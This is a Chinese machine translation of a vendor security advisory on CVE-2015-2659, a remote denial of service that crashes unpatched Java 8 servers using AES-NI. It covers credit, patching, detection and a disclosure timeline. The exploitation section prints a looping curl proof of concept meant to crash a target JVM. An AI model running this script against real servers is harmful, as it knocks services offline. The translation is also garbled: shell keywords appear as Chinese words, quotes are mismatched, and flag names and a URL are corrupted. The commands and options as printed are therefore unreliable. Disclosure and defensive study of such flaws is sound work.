最后更新于2024年1月26日(星期五)21:23:53 GMT

在支持的处理器上使用AES intrinsic (AES- ni) CPU扩展时,u46之前的Java 8服务器版本容易受到远程未经身份验证的拒绝服务(硬崩溃)的影响. 默认情况下,如果Oracle JVM检测到该处理器能力,则会启用AES内在特性, 2010年以后生产的现代处理器常见的是什么. 有关AES-NI的更多信息,请参见 维基百科的文章.

此问题在OpenJDK公共错误跟踪器中被跟踪为JDK-8067648, 但最初并未被归类为安全问题.

信贷

这个问题是由Rapid7, Inc .的Derek Abdine发现的.,并报告给Oracle和CERT/CC Rapid7的漏洞披露策略.

补丁和解决方案

2015年7月Oracle CPU 已经发布了解决CVE-2015-2659. 请注意,可以在运行时使用-UseAESIntrincs选项禁用AES-NI. 对于无法及时修补的站点,建议关闭AES-NI.

检测

如果JVM没有打补丁,并且为UseAESIntrinsics返回“true”,那么JVM进程是脆弱的. 无漏洞服务器为“UseAESIntrinsics”返回false.

    java -XX:+PrintFlagsFinal -version | grep“UseAESIntrinsics”  

u46之前的脆弱版本将返回(去掉空格):

    bool UseAESIntrinsics = true {product}  

此外,2015年7月发布的expose将包含对Java易受攻击版本的检查.

剥削

下面的bash shell脚本可以通过使目标JVM崩溃来触发拒绝服务条件, 目标应用程序URI在哪里 http://host:port/dir.

而真正的;  
  curl 'http://host:port/dir' \  
  -H 'Content-Type: application/x-www-form-urlencoded' \  
  $(printf '%0.sa' {1..4097})" --insecure --ciphers AESGCM -v;  
完成;  

注意,并不是所有版本的curl都支持——cipher选项. 大多数Linux发行版都有,但Apple OSX的默认curl实现没有.

披露时间表

  • 2015年5月5日星期二:与供应商初步联系
  • 2015年5月11日星期一:向供应商提供概念验证和咨询
  • 2015年6月1日星期一:向CERT/CC披露,VU#513484分配.
  • 星期二,2015年7月14日:供应商补丁发布的一部分 2015.7 CPU.
  • 2015年7月16日星期四:公开披露 http://r-7.有限公司/ r7 - 2015 - 09年